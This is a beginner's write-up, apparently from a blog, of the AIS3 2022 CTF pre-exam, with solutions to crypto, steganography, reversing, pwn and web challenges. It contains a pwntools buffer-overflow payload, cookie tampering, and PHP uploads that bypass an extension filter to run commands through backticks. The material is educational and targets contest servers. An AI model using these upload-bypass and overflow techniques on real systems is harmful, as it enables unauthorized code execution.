--- tags: Write Up --- # AIS3 2022 pre-exam write up 這是我接觸 ctf 後第一次正式的比賽 > <。AIS3 pre-exam 是跟 My First CTF 一起舉辦的,很可惜的是今年因為疫情所以改為線上舉行 QQ。 這次線上要掛 vpn,用的是 wireguard。然後我在賽中才發現忘記在 VM 裝,花了一小時還是裝不起來,最後只好跑去裝 Windows 版的 netcat。 因為窩弱所以這個 write up 題目應該會很少吧 QQ ## Welcome 開賽前助教就已經在 discord 傳了 flag。而且題目敘述還是 discord ++。笑爛wwww ![](https://i.imgur.com/zxxBLyX.png) ## Crypto ### SC 題目給的資料夾裡面有加密用的 python 檔、加密過的 flag 、加密過的加密 python 檔(? ![](https://i.imgur.com/kx2KhB0.png) ![](https://i.imgur.com/lxmp1X3.png) 而 code 下面則是一串關於替換式密碼的維基百科 所以直接比較兩邊的字母,建立替換表,最後把加密過的 flag 逆回去就好了。 ```python= plain = 那一大串明文 cipher = 那一大串密文 flag_enc = "5xvJ{IVnCDwT_I24t6W626DVw_ODPzJi_FDMz_awVFw_PWmDw6J86_m66cOa}" flag = "" T = {} for i in range(len(plain)): T[cipher[i]] = plain[i] for c in flag_enc: flag += T[c] ``` Flag: ``` AIS3{s0lving_sub5t1tuti0n_ciph3r_wi7h_kn0wn_p14int3xt_4ttack} ``` ### Fast Cipher 在給的加密程式中有一段 `encrypt()` 函數 ```python= def encrypt(pt, key): ct = [] for c in pt: ct.append(c ^ (key & 0xFF)) key = f(key) return bytes(ct) ``` 可以看到會一個個將明文對 key 進行 xor 透過 flag 第一個字一定是 A 可以得到 key 是 0x2D 接下來反著做回去就好了 ```python= cipher = "6c0ec840f88d4cd7fcc6d5c6d1dafcc1cad7d0fcc2d1c6fcd6d0c6c7fccfcccfde" key = 45 plain = "" for i in range(0, len(cipher), 2): b = cipher[i] + cipher[i+1] b = int(b, 16) mask = key & 0xFF c = b ^ mask c = chr(c) key = f(key) plain += c print(plain) ``` Flag: ``` AIS3{not_every_bits_are_used_lol} ``` ## Misc ### Excel 下載檔案後查看巨集,單步執行然後查看評估值,就得到答案了 Flag: ``` AIS3{XLM_iS_to0_o1d_but_co0o0o00olll!!} ``` 哭挖然後這題那時候卡在 flag 最後是 l 而不是 1 和 | ### Gift in the dream 用 strings 可以看到這個 gif 裡面有一堆的` why is the animation lagging? why is the duration so weird? is this just a dream?` 通靈了一下然後跑去用工具查看了這張圖裡面各個幀之間的間隔,發現都在 ascii 可視字元的範圍內 所以寫了以下來解碼 ```python= delay = [65, 73, 83, 51, 123, 53, 84, 51, 103, 52\ , 110, 48, 103, 82, 52, 112, 72, 121, 95, 99, 52, 78, 95, 98, 51, 95, 102, 85, \ 110, 95, 115, 48, 109, 51, 55, 105, 77, 101, 125] for i in delay: print(chr(i), end="") ``` Flag: ``` AIS3{5T3g4n0gR4pHy_c4N_b3_fUn_s0m37iMe} ``` ## Pwn ### SAAS - Crash 本來看 source code 沒看出什麼東西,試著構造可以 overflow 的字串也被擋了下來,不過後來在這系統裡面玩了一下,不知道是因為我的奇怪操作還是因為其他原因,他就自己噴 flag 出來了 www。 Flag: ``` AIS3{congrats_on_crashing_my_editor!_but_can_you_get_shell_from_it?} ``` ### Bof2Win 看 source code 發現可以 bof ,並且有一個函數 `get_the_flag()` 沒有被調用到,看起來是要覆蓋 return address 到這個函數就可以到 flag。 首先丟進 gdb 看看 `get_the_flag` 的位置在哪裡 ![](https://i.imgur.com/ldqWXDt.png) 先丟一串東西進去看看 offset ``` AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS ``` ![](https://i.imgur.com/nLVnKSN.png) 0x47 是 G,0x48 是 H 所以可以知道 rip 存在 G 跟 H 的位置 把剛剛拿到的 get_the_flag() 位置替換進去 \(注意 little endian) 可以得到要注入的字串: ``` "AAAABBBBCCCCDDDDEEEEFFFF\x16\x12\x40\x00\x00\x00\x00\x00" ``` 用 pwntools 送過去就可以得到 flag 了:D ```python= from pwn import * host = "chals1.ais3.org" port = 12347 r = remote(host, port) r.recvline() r.sendline("AAAABBBBCCCCDDDDEEEEFFFF\x16\x12\x40\x00\x00\x00\x00\x00") r.interactive() ``` Flag: ``` AIS3{Re@1_B0F_m4st3r!!} ``` ## Reverse ### Time Management 丟進 Ghidra 後看到以下的東西 ![](https://i.imgur.com/uGmhUDi.png) 14 行有一個 sleep 會讓程式執行很久 一開始我本來想要用一個在 picoCTF 的 writeup 看到的方法 就是自己寫一個假的 `sleep()` 然後把他編譯成 object 檔並且用 LD_PRELOAD 讓這個假的 `sleep()` 跟著程式一起執行。但是有 `fflush()` 所以讓 flag 的文字沒有出來 QQ 所以只好用 gdb 來一步一步做,遇到 sleep 就跳過去。 ![](https://i.imgur.com/tPwOeRL.png) 設下兩個 break point,135 是 sleep,157 是 printf。兩個的位置是從前面的 disassemble main 指令得到的 然後只要每次到 sleep 那邊就下 `set $pc = *main+140`來跳到下個指令 接下來 `c` 來繼續 因為這邊 printf() 有兩個參數:`%c` 和 `local_14`,local_14 是我們想要的,而且根據 calling convention 可以知道這個會放在 rsi 裡面 ![](https://i.imgur.com/2mxMdu3.png) printf() 會拿最後一個位元組來輸出,而 0x41 正好就是 A,0x49 是 I。 只要一直重複 `c` 和 `set $pc = *main+140` 就可以拿到 各個字元了 > < ```python= cipher = ["41", "49", "53", "33", "7b", "59", "6f", "75", "5f", "61", "72", "65"\ , "5f", "74", "68", "65", "5f", "6d", "61", "73", "74", "65", "72", "5f"\ , "6f", "66", "5f", "74", "69", "6d", "65", "5f", "6d", "61", "6e", "61"\ , "67", "65", "6d", "65", "6e", "74", "21", "21", "21", "21", "21", "7d"] for i in cipher: a = int(i, 16) c = chr(a) print(c, end="") ``` Flag: ``` AIS3{You_are_the_master_of_time_management!!!!!} ``` ## Web ### Poking Bear 觀察網頁可以看到每隻熊是透過 `/` 後面的數字來定位的,不過前往 secret bear 的頁面的按鈕沒辦法點.. 所以用爬蟲一個一個戳,看看還有哪些是開的 ```python= import bs4 import urllib.request as req for i in range(1000): url = f"http://chals1.ais3.org:8987/bear/{str(i)}" request = req.Request(url, headers={ "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36" }) with req.urlopen(request) as response: data = response.read().decode("utf-8") root = bs4.BeautifulSoup(data, "html.parser") titles = root.find_all("h1") if len(titles) == 0: print(url) ``` 可以發現 499 有熊在那邊,去那邊也發現的確是 secret bear。 不過跟他要 flag 他說要是 `bear poker` 才可以拿... 打開 f12 後發現 cookie 裡面有一個叫做 human 的 cookie 把他的 value 改成 `bear poker` 後就拿到 flag 了:D Flag: ``` AIS3{y0u_P0l<3_7h3_Bear_H@rdLy><} ``` ### Simple File Uploader > 網站是簡單檔案上傳者 > 那大家上傳的 code 算不算**簡單檔案上傳終結者**:thinking_face: 看看 source code 發現他沒有檢查副檔名的大小寫,所以上傳 `.pHp` 發現 server 給過而且還會執行。 ```php= //First approach <?php echo "hello"; ?> ``` 因為 server 會擋含有 `dirscan()` 的東西上傳,不過沒擋到 `glob()` :D 所以用 `glob()` 掃根目錄有什麼 ```php= // Second approach <?php echo "hello"; $directories = glob("/*"); foreach($directories as $val) { echo "$val<BR>\n"; } ?> ``` 發現有一個非~常可疑的檔案 `/rUn_M3_t0_9et_fL4g` 不過有擋 `exec()` 和 `eval()` 查了一下發現 backtick 也可以執行指令:DDD ```php= <?php echo "hello"; echo `/rUn_M3_t0_9et_fL4g`; ?> ``` 然後就得到 flag 啦 ٩(ˊᗜˋ*)و Flag: ``` AIS3{H3yyyyyyyy_U_g0t_mi٩(ˊᗜˋ*)و} ``` ## 心得(? ``` Final Rank: 96 ``` 這是我第一次參加這種活動,但沒上真的很可惜QQ 希望甄選有機會上囉:D 中間卡了好幾題,像是 reverse 的`殼`和 misc 的 `knock`,`knock` 更是卡了我整整一天,看著越來越多人解出來,而那題的分數越來越下降真的很讓人挫折... `殼`沒有解出來真的很遺憾,這還讓我想到 picoCTF 上面有一題超爛的 rockstar,解 rockstar 的時候真的是折騰了好久,不過最後沒有解出`殼`是遺憾之一。 然後我真的一直把 `knock` 當 web 題,nmap 掃 port 後看到 139 和 445 有開,而且 nmap 也說那邊有 smb 服務,就一直往 smb 去解...結果是用 wireshark 錄封包... 但是那種拿到 flag 的開心感最令我難以忘記,尤其是 `bof2win`,因為這是我第一次實作覆蓋 return address (之前只有聽 liveoverflow 講過),真的很令人開心 ٩(ˊᗜˋ*)و